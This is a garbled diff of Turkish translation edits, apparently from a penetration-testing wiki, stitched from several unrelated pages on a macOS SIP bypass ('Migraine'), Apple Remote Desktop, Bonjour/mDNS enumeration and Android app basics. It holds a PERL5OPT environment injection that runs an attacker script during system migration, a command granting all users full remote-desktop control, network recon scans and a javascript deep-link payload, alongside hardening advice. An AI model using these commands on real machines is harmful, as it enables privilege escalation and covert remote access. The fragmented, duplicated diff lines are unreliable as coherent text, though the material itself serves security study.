Araştırmacılar tarafından tanımlanan çocuklar arasında Apple imzalı yorumlayıcı da bulunmaktadır:
|
||||
Araştırmacılar tarafından tanımlanan çocuklar arasında Apple imzalı yorumlayıcı bulunmaktadır:
|
||||
```
|
||||
/usr/bin/perl /usr/libexec/migrateLocalKDC …
|
||||
```
|
||||
@ -80,18 +80,18 @@ launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
|
||||
# Trigger a migration (or just wait – systemmigrationd will eventually spawn perl)
|
||||
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
|
||||
```
|
||||
`migrateLocalKDC` çalıştığında, `/usr/bin/perl` kötü niyetli `PERL5OPT` ile başlar ve `/private/tmp/migraine.sh` dosyasını *SIP yeniden etkinleştirilmeden önce* çalıştırır. Bu scriptten, örneğin, bir yükü **`/System/Library/LaunchDaemons`** içine kopyalayabilir veya bir dosyayı **silinemez** hale getirmek için `com.apple.rootless` genişletilmiş niteliğini atayabilirsiniz.
|
||||
When `migrateLocalKDC` çalıştığında, `/usr/bin/perl` kötü niyetli `PERL5OPT` ile başlar ve `/private/tmp/migraine.sh` dosyasını *SIP yeniden etkinleştirilmeden önce* çalıştırır. Bu scriptten, örneğin, bir yükü **`/System/Library/LaunchDaemons`** içine kopyalayabilir veya bir dosyayı **silinemez** hale getirmek için `com.apple.rootless` genişletilmiş niteliğini atayabilirsiniz.
|
||||
|
||||
Apple bu sorunu macOS **Ventura 13.4**, **Monterey 12.6.6** ve **Big Sur 11.7.7**'de düzeltti, ancak daha eski veya yamanmamış sistemler hala istismar edilebilir.
|
||||
Apple bu sorunu macOS **Ventura 13.4**, **Monterey 12.6.6** ve **Big Sur 11.7.7**'de düzeltti, ancak daha eski veya yamanmamış sistemler istismar edilebilir durumda kalmaktadır.
|
||||
|
||||
## Güçlendirme önerileri
|
||||
## Hardening recommendations
|
||||
|
||||
1. **Tehlikeli değişkenleri temizleyin** – ayrıcalıklı launchdaemons veya cron görevleri, temiz bir ortamda başlamalıdır (`launchctl unsetenv PERL5OPT`, `env -i`, vb.).
|
||||
2. **Yorumlayıcıları root olarak çalıştırmaktan kaçının**; yalnızca kesinlikle gerekli olduğunda kullanın. Derlenmiş ikilileri kullanın veya yetkileri erken düşürün.
|
||||
1. **Tehlikeli değişkenleri temizleyin** – ayrıcalıklı launchdaemons veya cron görevleri temiz bir ortamda başlamalıdır (`launchctl unsetenv PERL5OPT`, `env -i`, vb.).
|
||||
2. **Yalnızca kesinlikle gerekli olmadıkça kök olarak yorumlayıcıları çalıştırmaktan kaçının**. Derlenmiş ikilileri kullanın veya yetkileri erken düşürün.
|
||||
3. **`-T` (taint modu) ile satıcı scriptleri** kullanın, böylece Perl taint kontrolü etkinleştirildiğinde `PERL5OPT` ve diğer güvensiz anahtarları göz ardı eder.
|
||||
4. **macOS'u güncel tutun** – “Migraine” mevcut sürümlerde tamamen yamanmıştır.
|
||||
|
||||
## Referanslar
|
||||
## References
|
||||
|
||||
- Microsoft Security Blog – “Yeni macOS güvenlik açığı, Migraine, Sistem Bütünlüğü Korumasını atlayabilir” (CVE-2023-32369), 30 Mayıs 2023.
|
||||
- Hackyboiz – “macOS SIP Atlatma (PERL5OPT & BASH_ENV) araştırması”, Mayıs 2025.
|
||||
|
||||
@ -32,14 +32,14 @@ ARD'yi ayrıcalık yükseltme, GUI erişimi veya kullanıcı izleme gibi çeşit
|
||||
```bash
|
||||
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
|
||||
```
|
||||
ARD, gözlem, paylaşılan kontrol ve tam kontrol dahil olmak üzere çok yönlü kontrol seviyeleri sağlar ve oturumlar kullanıcı şifre değişikliklerinden sonra bile devam eder. Unix komutlarını doğrudan gönderme ve bunları yönetici kullanıcılar için root olarak yürütme imkanı tanır. Görev zamanlama ve Uzaktan Spotlight arama, birden fazla makinede hassas dosyalar için uzaktan, düşük etkili aramalar yapmayı kolaylaştıran dikkate değer özelliklerdir.
|
||||
ARD, gözlem, paylaşılan kontrol ve tam kontrol dahil olmak üzere çok yönlü kontrol seviyeleri sağlar ve oturumlar kullanıcı şifre değişikliklerinden sonra bile devam eder. Unix komutlarını doğrudan göndermeye ve bunları yönetici kullanıcılar için root olarak çalıştırmaya olanak tanır. Görev zamanlaması ve Uzaktan Spotlight araması, birden fazla makinede hassas dosyalar için uzaktan, düşük etkili aramalar yapmayı kolaylaştıran dikkate değer özelliklerdir.
|
||||
|
||||
#### Son Ekran Paylaşımı / ARD güvenlik açıkları (2023-2025)
|
||||
|
||||
| Yıl | CVE | Bileşen | Etki | Düzeltildiği Sürüm |
|
||||
|------|-----|-----------|--------|----------|
|
||||
|2023|CVE-2023-42940|Ekran Paylaşımı|Yanlış oturum render'ı, *yanlış* masaüstü veya pencerenin iletilmesine neden olabilir, bu da hassas bilgilerin sızmasına yol açar|macOS Sonoma 14.2.1 (Aralık 2023) |
|
||||
|2024|CVE-2024-23296|launchservicesd / login|Başarılı bir uzaktan girişten sonra zincirleme yapılabilen çekirdek bellek koruma atlatması (doğada aktif olarak istismar ediliyor)|macOS Ventura 13.6.4 / Sonoma 14.4 (Mart 2024) |
|
||||
|2024|CVE-2024-23296|launchservicesd / login|Başarılı bir uzaktan girişten sonra zincirlenebilen çekirdek bellek koruma atlatması (doğada aktif olarak istismar ediliyor)|macOS Ventura 13.6.4 / Sonoma 14.4 (Mart 2024) |
|
||||
|
||||
**Güçlendirme ipuçları**
|
||||
|
||||
@ -62,7 +62,7 @@ Apple tarafından tasarlanan Bonjour, **aynı ağdaki cihazların birbirlerinin
|
||||
|
||||
Bonjour tarafından sağlanan Sıfır Konfigürasyon Ağı, cihazların:
|
||||
|
||||
- **Bir IP Adresi otomatik olarak edinmesini** sağlar, DHCP sunucusu yoksa bile.
|
||||
- **Bir IP Adresi otomatik olarak elde etmesini** sağlar, DHCP sunucusu yoksa bile.
|
||||
- **isimden-adrese çeviri** yapmasını, DNS sunucusu gerektirmeden sağlar.
|
||||
- Ağda mevcut olan **hizmetleri keşfetmesini** sağlar.
|
||||
|
||||
@ -70,9 +70,9 @@ Bonjour kullanan cihazlar, kendilerine **169.254/16 aralığından bir IP adresi
|
||||
|
||||
DNS için Bonjour, **Multicast DNS (mDNS) protokolünü** kullanır. mDNS, **port 5353/UDP** üzerinden çalışır, **standart DNS sorguları** kullanır ancak **multicast adres 224.0.0.251**'yi hedef alır. Bu yaklaşım, ağ üzerindeki tüm dinleyen cihazların sorguları almasını ve yanıt vermesini sağlar, böylece kayıtlarını güncelleyebilirler.
|
||||
|
||||
Ağa katıldığında, her cihaz kendine genellikle **.local** ile biten bir isim seçer, bu isim ana bilgisayardan türetilmiş veya rastgele oluşturulmuş olabilir.
|
||||
Ağa katıldığında, her cihaz kendine bir isim seçer, genellikle **.local** ile biter ve bu isim ana bilgisayar adından türetilmiş veya rastgele oluşturulmuş olabilir.
|
||||
|
||||
Ağ içindeki hizmet keşfi, **DNS Hizmet Keşfi (DNS-SD)** ile kolaylaştırılır. DNS SRV kayıtlarının formatını kullanan DNS-SD, birden fazla hizmetin listelenmesini sağlamak için **DNS PTR kayıtlarını** kullanır. Belirli bir hizmet arayan bir istemci, `<Service>.<Domain>` için bir PTR kaydı talep eder ve eğer hizmet birden fazla hosttan mevcutsa, `<Instance>.<Service>.<Domain>` formatında bir dizi PTR kaydı alır.
|
||||
Ağ içindeki hizmet keşfi, **DNS Hizmet Keşfi (DNS-SD)** ile kolaylaştırılır. DNS SRV kayıtlarının formatını kullanan DNS-SD, birden fazla hizmetin listelenmesini sağlamak için **DNS PTR kayıtlarını** kullanır. Belirli bir hizmet arayan bir istemci, `<Service>.<Domain>` için bir PTR kaydı talep eder ve eğer hizmet birden fazla ana bilgisayardan mevcutsa, `<Instance>.<Service>.<Domain>` formatında bir dizi PTR kaydı alır.
|
||||
|
||||
Ağ hizmetlerini **keşfetmek ve duyurmak** için `dns-sd` aracı kullanılabilir. İşte kullanımına dair bazı örnekler:
|
||||
|
||||
@ -100,7 +100,7 @@ Bir hizmet başladığında, varlığını alt ağdaki tüm cihazlara çoklu yay
|
||||
|
||||
Daha kullanıcı dostu bir arayüz için, Apple App Store'da bulunan **Discovery - DNS-SD Browser** uygulaması, yerel ağınızdaki sunulan hizmetleri görselleştirebilir.
|
||||
|
||||
Alternatif olarak, `python-zeroconf` kütüphanesini kullanarak hizmetleri taramak ve keşfetmek için özel betikler yazılabilir. [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) betiği, `_http._tcp.local.` hizmetleri için bir hizmet tarayıcısı oluşturmayı ve eklenen veya kaldırılan hizmetleri yazdırmayı göstermektedir:
|
||||
Alternatif olarak, `python-zeroconf` kütüphanesini kullanarak hizmetleri taramak ve keşfetmek için özel betikler yazılabilir. [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) betiği, `_http._tcp.local.` hizmetleri için bir hizmet tarayıcısı oluşturmayı gösterir ve eklenen veya kaldırılan hizmetleri yazdırır:
|
||||
```python
|
||||
from zeroconf import ServiceBrowser, Zeroconf
|
||||
|
||||
@ -121,7 +121,7 @@ input("Press enter to exit...\n\n")
|
||||
finally:
|
||||
zeroconf.close()
|
||||
```
|
||||
### Ağa üzerinden Bonjour'u Sıralama
|
||||
### Ağa üzerinden Bonjour'u Listeleme
|
||||
|
||||
* **Nmap NSE** – tek bir host tarafından ilan edilen hizmetleri keşfetmek için:
|
||||
|
||||
@ -129,7 +129,7 @@ zeroconf.close()
|
||||
nmap -sU -p 5353 --script=dns-service-discovery <target>
|
||||
```
|
||||
|
||||
`dns-service-discovery` scripti, `_services._dns-sd._udp.local` sorgusu gönderir ve ardından her ilan edilen hizmet türünü sıralar.
|
||||
`dns-service-discovery` script'i, `_services._dns-sd._udp.local` sorgusu gönderir ve ardından her ilan edilen hizmet türünü listeler.
|
||||
|
||||
* **mdns_recon** – *yanlış yapılandırılmış* mDNS yanıtlayıcılarını bulmak için tüm aralıkları tarayan Python aracı (alt ağlar/WAN üzerinden erişilebilen cihazları bulmak için yararlıdır):
|
||||
|
||||
@ -140,14 +140,14 @@ python3 mdns_recon.py -r 192.0.2.0/24 -s _ssh._tcp.local
|
||||
|
||||
Bu, yerel bağlantı dışındaki Bonjour üzerinden SSH sunan hostları döndürecektir.
|
||||
|
||||
### Güvenlik dikkate alındığında & son güvenlik açıkları (2024-2025)
|
||||
### Güvenlik Dikkatleri & Son Zafiyetler (2024-2025)
|
||||
|
||||
| Yıl | CVE | Ciddiyet | Sorun | Yamanmış |
|
||||
| Yıl | CVE | Şiddet | Sorun | Yamanmış |
|
||||
|------|-----|----------|-------|------------|
|
||||
|2024|CVE-2024-44183|Orta|*mDNSResponder*'da bir mantık hatası, hazırlanmış bir paketin **hizmet reddi** tetiklemesine izin verdi|macOS Ventura 13.7 / Sonoma 14.7 / Sequoia 15.0 (Eyl 2024) |
|
||||
|2025|CVE-2025-31222|Yüksek|*mDNSResponder*'da bir doğruluk sorunu, **yerel ayrıcalık yükseltmesi** için kötüye kullanılabilir|macOS Ventura 13.7.6 / Sonoma 14.7.6 / Sequoia 15.5 (May 2025) |
|
||||
|
||||
**Hafifletme rehberi**
|
||||
**Hafifletme Rehberi**
|
||||
|
||||
1. UDP 5353'ü *link-local* kapsamıyla sınırlayın – kablosuz denetleyiciler, yönlendiriciler ve host tabanlı güvenlik duvarlarında engelleyin veya hız sınırlaması uygulayın.
|
||||
2. Hizmet keşfine ihtiyaç duymayan sistemlerde Bonjour'u tamamen devre dışı bırakın:
|
||||
@ -155,8 +155,8 @@ Bu, yerel bağlantı dışındaki Bonjour üzerinden SSH sunan hostları döndü
|
||||
```bash
|
||||
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
|
||||
```
|
||||
3. Bonjour'un dahili olarak gerekli olduğu ancak asla ağ sınırlarını aşmaması gereken ortamlarda *AirPlay Receiver* profil kısıtlamalarını (MDM) veya bir mDNS proxy'sini kullanın.
|
||||
4. **Sistem Bütünlüğü Koruması (SIP)**'nı etkinleştirin ve macOS'u güncel tutun – yukarıdaki her iki güvenlik açığı da hızlı bir şekilde yamanmış ancak tam koruma için SIP'nin etkin olmasına dayanıyordu.
|
||||
3. Bonjour'un dahili olarak gerekli olduğu ancak ağ sınırlarını asla geçmemesi gereken ortamlarda, *AirPlay Receiver* profil kısıtlamaları (MDM) veya bir mDNS proxy kullanın.
|
||||
4. **Sistem Bütünlüğü Koruması (SIP)**'nı etkinleştirin ve macOS'u güncel tutun – yukarıdaki her iki zafiyet de hızlı bir şekilde yamanmış ancak tam koruma için SIP'nin etkin olmasına dayanıyordu.
|
||||
|
||||
### Bonjour'u Devre Dışı Bırakma
|
||||
|
||||
|
||||
@ -32,9 +32,9 @@ Bir uygulama işlevsellik açığa çıkardığında, **yalnızca belirli bir iz
|
||||
Bir izin öğesinin üç özniteliği vardır:
|
||||
|
||||
- İznin **adı**
|
||||
- İlgili izinleri gruplamak için kullanılan **permission-group** özniteliği.
|
||||
- İzin grubu **özniteliği**, ilgili izinleri gruplamak için kullanılır.
|
||||
- İzinlerin nasıl verildiğini belirten **protection-level**. Dört tür vardır:
|
||||
- **Normal**: Uygulama için **bilinen bir tehdit yoksa** kullanılır. Kullanıcının **onaylaması gerekmez**.
|
||||
- **Normal**: Uygulama için **bilinen tehditler yoksa** kullanılır. Kullanıcının **onaylaması gerekmez**.
|
||||
- **Tehlikeli**: İznin, istek yapan uygulamaya bazı **yükseltilmiş erişimler** verdiğini belirtir. **Kullanıcılardan onay istenir**.
|
||||
- **İmza**: Yalnızca **bileşeni dışa aktaranla aynı sertifika ile imzalanmış uygulamalar** izin alabilir. Bu, en güçlü koruma türüdür.
|
||||
- **İmza veya Sistem**: Yalnızca **bileşeni dışa aktaranla aynı sertifika ile imzalanmış uygulamalar veya **sistem düzeyinde erişimle çalışan uygulamalar** izin alabilir.
|
||||
@ -45,14 +45,14 @@ Bu uygulamalar genellikle **`/system/app`** veya **`/system/priv-app`** dizinler
|
||||
|
||||
- **AOSP** (Android Açık Kaynak Projesi) **ROM** ile birlikte gelenler
|
||||
- Cihaz **üreticisi** tarafından eklenenler
|
||||
- Hücresel **telefon sağlayıcısı** tarafından eklenenler (eğer onlardan satın alındıysa)
|
||||
- Cep **telefonu sağlayıcısı** tarafından eklenenler (eğer onlardan satın alındıysa)
|
||||
|
||||
## Rootlama
|
||||
|
||||
Bir fiziksel android cihazda root erişimi elde etmek için genellikle **1 veya 2 güvenlik açığını** **istismar etmeniz** gerekir; bu açılar genellikle **cihaz** ve **sürüm** için **özeldir**.\
|
||||
İstismar çalıştığında, genellikle Linux `su` ikili dosyası, kullanıcının PATH ortam değişkeninde belirtilen bir konuma, örneğin `/system/xbin`'e kopyalanır.
|
||||
İstismar başarılı olduktan sonra, genellikle Linux `su` ikili dosyası, kullanıcının PATH ortam değişkeninde belirtilen bir konuma, örneğin `/system/xbin`'e kopyalanır.
|
||||
|
||||
Su ikili dosyası yapılandırıldıktan sonra, `su` ikili dosyası ile etkileşimde bulunmak için başka bir Android uygulaması kullanılır ve **root erişimi için istekleri işler**; bu uygulamalar **Superuser** ve **SuperSU** (Google Play mağazasında mevcuttur).
|
||||
Su ikili dosyası yapılandırıldıktan sonra, `su` ikili dosyası ile etkileşimde bulunmak için başka bir Android uygulaması kullanılır ve **root erişimi için istekleri işler**; bu uygulamalar **Superuser** ve **SuperSU** (Google Play mağazasında mevcut) gibi uygulamalardır.
|
||||
|
||||
> [!CAUTION]
|
||||
> Rootlama işleminin çok tehlikeli olduğunu ve cihazı ciddi şekilde zarar verebileceğini unutmayın.
|
||||
@ -62,11 +62,11 @@ Su ikili dosyası yapılandırıldıktan sonra, `su` ikili dosyası ile etkileş
|
||||
**Özel bir yazılım yükleyerek işletim sistemini değiştirmek** mümkündür. Bunu yaparak, eski bir cihazın kullanımını uzatmak, yazılım kısıtlamalarını aşmak veya en son Android koduna erişmek mümkündür.\
|
||||
**OmniROM** ve **LineageOS**, kullanılacak en popüler yazılımlardan ikisidir.
|
||||
|
||||
**Özel bir yazılım yüklemek için cihazı rootlamak her zaman gerekli değildir**. **Bazı üreticiler**, bootloader'larının iyi belgelenmiş ve güvenli bir şekilde kilidinin açılmasına izin verir.
|
||||
**Özel bir yazılım yüklemek için cihazı rootlamak her zaman gerekli değildir**. **Bazı üreticiler**, bootloader'larının iyi belgelenmiş ve güvenli bir şekilde kilidini açılmasına izin verir.
|
||||
|
||||
### Sonuçlar
|
||||
|
||||
Bir cihaz rootlandığında, herhangi bir uygulama root olarak erişim isteyebilir. Kötü niyetli bir uygulama bunu elde ederse, neredeyse her şeye erişimi olacaktır ve telefonu zarar verebilir.
|
||||
Bir cihaz rootlandığında, herhangi bir uygulama root olarak erişim isteyebilir. Kötü niyetli bir uygulama bunu elde ederse, neredeyse her şeye erişimi olacak ve telefonu zarar verebilecektir.
|
||||
|
||||
## Android Uygulama Temelleri <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
@ -83,11 +83,11 @@ Bir cihaz rootlandığında, herhangi bir uygulama root olarak erişim isteyebil
|
||||
- lib/
|
||||
- CPU mimarisine göre alt dizinlerde ayrılmış yerel kütüphaneleri barındırır.
|
||||
- `armeabi`: ARM tabanlı işlemciler için kod
|
||||
- `armeabi-v7a`: ARMv7 ve üzeri tabanlı işlemciler için kod
|
||||
- `armeabi-v7a`: ARMv7 ve daha yüksek tabanlı işlemciler için kod
|
||||
- `x86`: X86 işlemciler için kod
|
||||
- `mips`: yalnızca MIPS işlemciler için kod
|
||||
- `mips`: yalnızca MIPS işlemcileri için kod
|
||||
- assets/
|
||||
- Uygulamanın ihtiyaç duyduğu çeşitli dosyaları depolar; bunlar ek yerel kütüphaneler veya DEX dosyaları içerebilir, bazen kötü amaçlı yazılım yazarları tarafından ek kodu gizlemek için kullanılır.
|
||||
- Uygulamanın ihtiyaç duyduğu çeşitli dosyaları depolar; bunlar, bazen kötü amaçlı yazılım yazarları tarafından ek kodu gizlemek için kullanılan ek yerel kütüphaneler veya DEX dosyalarını içerebilir.
|
||||
- res/
|
||||
- resources.arsc içine derlenmemiş kaynakları içerir.
|
||||
|
||||
@ -95,7 +95,7 @@ Bir cihaz rootlandığında, herhangi bir uygulama root olarak erişim isteyebil
|
||||
|
||||
Android geliştirmede, **Java veya Kotlin** uygulama oluşturmak için kullanılır. Masaüstü uygulamalarındaki gibi JVM kullanmak yerine, Android bu kodu **Dalvik Executable (DEX) bytecode**'a derler. Daha önce, Dalvik sanal makinesi bu bytecode'u yönetiyordu, ancak şimdi, daha yeni Android sürümlerinde Android Runtime (ART) devralmaktadır.
|
||||
|
||||
Tersine mühendislik için, **Smali** kritik hale gelir. Bu, DEX bytecode'un insan tarafından okunabilir versiyonudur ve kaynak kodunu bytecode talimatlarına çevirerek montaj dili gibi işlev görür. Smali ve baksmali, bu bağlamda montaj ve ayrıştırma araçlarını ifade eder.
|
||||
Tersine mühendislik için, **Smali** kritik hale gelir. DEX bytecode'un insan tarafından okunabilir versiyonudur ve kaynak kodunu bytecode talimatlarına çevirerek montaj dili gibi işlev görür. Smali ve baksmali, bu bağlamda montaj ve ayrıştırma araçlarını ifade eder.
|
||||
|
||||
## Niyetler
|
||||
|
||||
@ -104,10 +104,10 @@ Niyetler, Android uygulamalarının bileşenleri arasında veya diğer uygulamal
|
||||
Yani bir Niyet, temelde **bileşenler arasında iletilen bir mesajdır**. Niyetler **belirli bileşenlere veya uygulamalara yönlendirilebilir** veya **belirli bir alıcı olmadan gönderilebilir**.\
|
||||
Basit olmak gerekirse, Niyet şu amaçlarla kullanılabilir:
|
||||
|
||||
- Bir Aktivite başlatmak, genellikle bir uygulama için bir kullanıcı arayüzü açmak
|
||||
- Bir Aktivite başlatmak için, genellikle bir uygulama için bir kullanıcı arayüzü açar
|
||||
- Sistemi ve uygulamaları değişiklikler hakkında bilgilendirmek için yayınlar olarak
|
||||
- Arka planda bir hizmeti başlatmak, durdurmak ve onunla iletişim kurmak
|
||||
- ContentProviders aracılığıyla verilere erişmek
|
||||
- Arka planda bir hizmet başlatmak, durdurmak ve onunla iletişim kurmak için
|
||||
- ContentProviders aracılığıyla verilere erişmek için
|
||||
- Olayları işlemek için geri çağırmalar olarak
|
||||
|
||||
Eğer savunmasızsa, **Niyetler çeşitli saldırılar gerçekleştirmek için kullanılabilir**.
|
||||
@ -116,9 +116,9 @@ Eğer savunmasızsa, **Niyetler çeşitli saldırılar gerçekleştirmek için k
|
||||
|
||||
**Niyet Filtreleri**, **bir aktivite, hizmet veya Yayın Alıcısının farklı türdeki Niyetlerle nasıl etkileşimde bulunabileceğini tanımlar**. Temelde, bu bileşenlerin hangi eylemleri gerçekleştirebileceği veya hangi tür yayınları işleyebileceği gibi yeteneklerini tanımlar. Bu filtreleri beyan etmenin birincil yeri **AndroidManifest.xml dosyasıdır**, ancak Yayın Alıcıları için bunları kodlamak da bir seçenektir.
|
||||
|
||||
Niyet Filtreleri, kategoriler, eylemler ve veri filtrelerinden oluşur ve ek meta verilerin dahil edilmesi mümkündür. Bu yapı, bileşenlerin beyan edilen kriterlerle eşleşen belirli Niyetleri işlemesine olanak tanır.
|
||||
Niyet Filtreleri, kategoriler, eylemler ve veri filtrelerinden oluşur ve ek meta verilerin dahil edilmesi mümkündür. Bu yapı, bileşenlerin beyan edilen kriterlere uyan belirli Niyetleri işleyebilmesini sağlar.
|
||||
|
||||
Android bileşenlerinin (aktivite/hizmet/içerik sağlayıcıları/yayın alıcıları) kritik bir yönü, görünürlükleri veya **kamusal durumlarıdır**. Bir bileşen, **`exported`** değeri **`true`** olarak ayarlandığında kamuya açık kabul edilir ve diğer uygulamalarla etkileşimde bulunabilir. Ancak, geliştiricilerin bu bileşenleri özel tutmak için açık bir şekilde ayarlama seçeneği vardır; bu, diğer uygulamalarla istemeden etkileşimde bulunmamalarını sağlamak için **`exported`** özniteliğini **`false`** olarak ayarlamakla gerçekleştirilir.
|
||||
Android bileşenlerinin (aktivite/hizmet/içerik sağlayıcıları/yayın alıcıları) kritik bir yönü, görünürlükleri veya **kamusal durumlarıdır**. Bir bileşen, **`exported`** değeri **`true`** olarak ayarlandığında kamuya açık kabul edilir ve diğer uygulamalarla etkileşimde bulunabilir. Ancak, geliştiricilerin bu bileşenleri özel tutarak, diğer uygulamalarla istemeden etkileşimde bulunmamalarını sağlamak için açık bir yol vardır. Bu, manifest tanımlarında **`exported`** özniteliğini **`false`** olarak ayarlayarak gerçekleştirilir.
|
||||
|
||||
Ayrıca, geliştiricilerin bu bileşenlere erişimi daha da güvence altına almak için belirli izinler talep etme seçeneği vardır. **`permission`** özniteliği, yalnızca belirlenen izne sahip uygulamaların bileşene erişebilmesini sağlamak için ayarlanabilir ve bu, kimlerin etkileşimde bulunabileceği üzerinde ek bir güvenlik ve kontrol katmanı ekler.
|
||||
```java
|
||||
@ -145,7 +145,7 @@ Bu intent, aşağıdaki örnekte olduğu gibi manifest içinde tanımlanmalıdı
|
||||
```
|
||||
Bir intent-filter'ın bir mesajı alabilmesi için **action**, **data** ve **category** ile eşleşmesi gerekir.
|
||||
|
||||
"Intent çözümleme" süreci, her mesajın hangi uygulama tarafından alınacağını belirler. Bu süreç, **priority attribute**'unu dikkate alır; bu, i**ntent-filter bildirimi** içinde ayarlanabilir ve **daha yüksek önceliğe sahip olan seçilecektir**. Bu öncelik -1000 ile 1000 arasında ayarlanabilir ve uygulamalar `SYSTEM_HIGH_PRIORITY` değerini kullanabilir. Eğer bir **çelişki** oluşursa, **kullanıcının karar verebileceği** bir "chooser" penceresi açılır.
|
||||
"Intent çözümleme" süreci, her mesajın hangi uygulama tarafından alınacağını belirler. Bu süreç, **priority attribute**'unu dikkate alır; bu, i**ntent-filter bildirimi** içinde ayarlanabilir ve **daha yüksek önceliğe sahip olan seçilecektir**. Bu öncelik -1000 ile 1000 arasında ayarlanabilir ve uygulamalar `SYSTEM_HIGH_PRIORITY` değerini kullanabilir. Eğer bir **çelişki** oluşursa, **kullanıcının karar verebilmesi için** bir "chooser" penceresi açılır.
|
||||
|
||||
### Açık Intents
|
||||
|
||||
@ -153,7 +153,7 @@ Açık bir intent, hedef aldığı sınıf adını belirtir:
|
||||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
Diğer uygulamalarda daha önce tanımlanan intent'e erişmek için şunları kullanabilirsiniz:
|
||||
Diğer uygulamalarda daha önce tanımlanan intent'e erişmek için şunu kullanabilirsiniz:
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
||||
@ -161,7 +161,7 @@ context.startService(intent);
|
||||
```
|
||||
### Pending Intents
|
||||
|
||||
Bunlar diğer uygulamaların **uygulamanız adına eylemler gerçekleştirmesine** olanak tanır, uygulamanızın kimliği ve izinlerini kullanarak. Bir Pending Intent oluştururken **bir intent ve gerçekleştirilecek eylem belirtilmelidir**. Eğer **beyan edilen intent Açık Değilse** (hangi intentin bunu çağırabileceğini belirtmiyorsa) **kötü niyetli bir uygulama, beyan edilen eylemi** mağdur uygulama adına gerçekleştirebilir. Dahası, **bir eylem belirtilmezse**, kötü niyetli uygulama **mağdur adına herhangi bir eylem gerçekleştirebilir**.
|
||||
Bunlar diğer uygulamaların **uygulamanız adına eylemler gerçekleştirmesine** olanak tanır, uygulamanızın kimliği ve izinlerini kullanarak. Bir Pending Intent oluştururken **bir intent ve gerçekleştirilecek eylem belirtilmelidir**. Eğer **beyan edilen intent Açık Değilse** (hangi intentin bunu çağırabileceğini belirtmiyorsa) **kötü niyetli bir uygulama, mağdur uygulama adına beyan edilen eylemi gerçekleştirebilir**. Dahası, **bir eylem belirtilmemişse**, kötü niyetli uygulama **mağdur adına herhangi bir eylem gerçekleştirebilir**.
|
||||
|
||||
### Broadcast Intents
|
||||
|
||||
@ -172,15 +172,15 @@ Alternatif olarak, **yayın gönderirken bir izin belirtmek de mümkündür**. A
|
||||
**İki tür** Yayın vardır: **Normal** (asenkron) ve **Sıralı** (senkron). **Sıralama**, **alıcı** öğesindeki **yapılandırılmış önceliğe** dayanır. **Her uygulama Yayını işleyebilir, iletebilir veya atlayabilir.**
|
||||
|
||||
`Context` sınıfından `sendBroadcast(intent, receiverPermission)` fonksiyonunu kullanarak **bir yayın göndermek** mümkündür.\
|
||||
Ayrıca, **`LocalBroadCastManager`**'dan **`sendBroadcast`** fonksiyonunu kullanarak **mesajın uygulamadan çıkmamasını** sağlayabilirsiniz. Bunu kullanarak bir alıcı bileşenini dışa aktarmanıza gerek kalmaz.
|
||||
Ayrıca, **`LocalBroadCastManager`**'dan **`sendBroadcast`** fonksiyonunu kullanarak **mesajın uygulamadan çıkmamasını** sağlayabilirsiniz. Bunu kullanarak bir alıcı bileşenini dışa aktarmanıza bile gerek kalmaz.
|
||||
|
||||
### Sticky Broadcasts
|
||||
|
||||
Bu tür Yayınlar **gönderildikten uzun süre sonra erişilebilir**.\
|
||||
Bunlar API seviye 21'de kullanımdan kaldırıldı ve **kullanılmamaları önerilir**.\
|
||||
**Herhangi bir uygulamanın verileri dinlemesine, aynı zamanda bunları değiştirmesine olanak tanır.**
|
||||
Bunlar API seviye 21'de kullanımdan kaldırıldı ve **kullanılmamaları önerilmektedir**.\
|
||||
**Herhangi bir uygulamanın verileri dinlemesine, aynı zamanda da değiştirmesine olanak tanır.**
|
||||
|
||||
"sticky" kelimesini içeren fonksiyonlar bulursanız, **`sendStickyBroadcast`** veya **`sendStickyBroadcastAsUser`** gibi, **etkisini kontrol edin ve bunları kaldırmaya çalışın**.
|
||||
"sticky" kelimesini içeren fonksiyonlar bulursanız, örneğin **`sendStickyBroadcast`** veya **`sendStickyBroadcastAsUser`**, **etkisini kontrol edin ve bunları kaldırmaya çalışın**.
|
||||
|
||||
## Deep links / URL schemes
|
||||
|
||||
@ -206,7 +206,7 @@ Daha sonra, veri alanında **host** ve **path** belirtebilirsiniz:
|
||||
android:host="example"
|
||||
/>
|
||||
```
|
||||
Web'den erişmek için şu şekilde bir bağlantı ayarlamak mümkündür:
|
||||
Web'den erişmek için bir bağlantı ayarlamak mümkündür:
|
||||
```xml
|
||||
<a href="examplescheme://example/something">click here</a>
|
||||
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
||||
@ -233,7 +233,7 @@ Bunlar: **Aktiviteler, Hizmetler, Yayın Alıcıları ve Sağlayıcılar.**
|
||||
|
||||
### Başlatıcı Aktivite ve diğer aktiviteler
|
||||
|
||||
Android uygulamalarında, **aktiviteler** ekranlar gibidir ve uygulamanın kullanıcı arayüzünün farklı bölümlerini gösterir. Bir uygulama birçok aktiviteye sahip olabilir, her biri kullanıcıya benzersiz bir ekran sunar.
|
||||
Android uygulamalarında, **aktiviteler** ekranlar gibidir ve uygulamanın kullanıcı arayüzünün farklı bölümlerini gösterir. Bir uygulamanın birçok aktivitesi olabilir ve her biri kullanıcıya benzersiz bir ekran sunar.
|
||||
|
||||
**Başlatıcı aktivite**, bir uygulamanın ana kapısıdır ve uygulamanın simgesine dokunduğunuzda başlatılır. Uygulamanın manifest dosyasında belirli MAIN ve LAUNCHER niyetleri ile tanımlanmıştır:
|
||||
```html
|
||||
@ -274,7 +274,7 @@ super.onCreate();
|
||||
```
|
||||
### Services
|
||||
|
||||
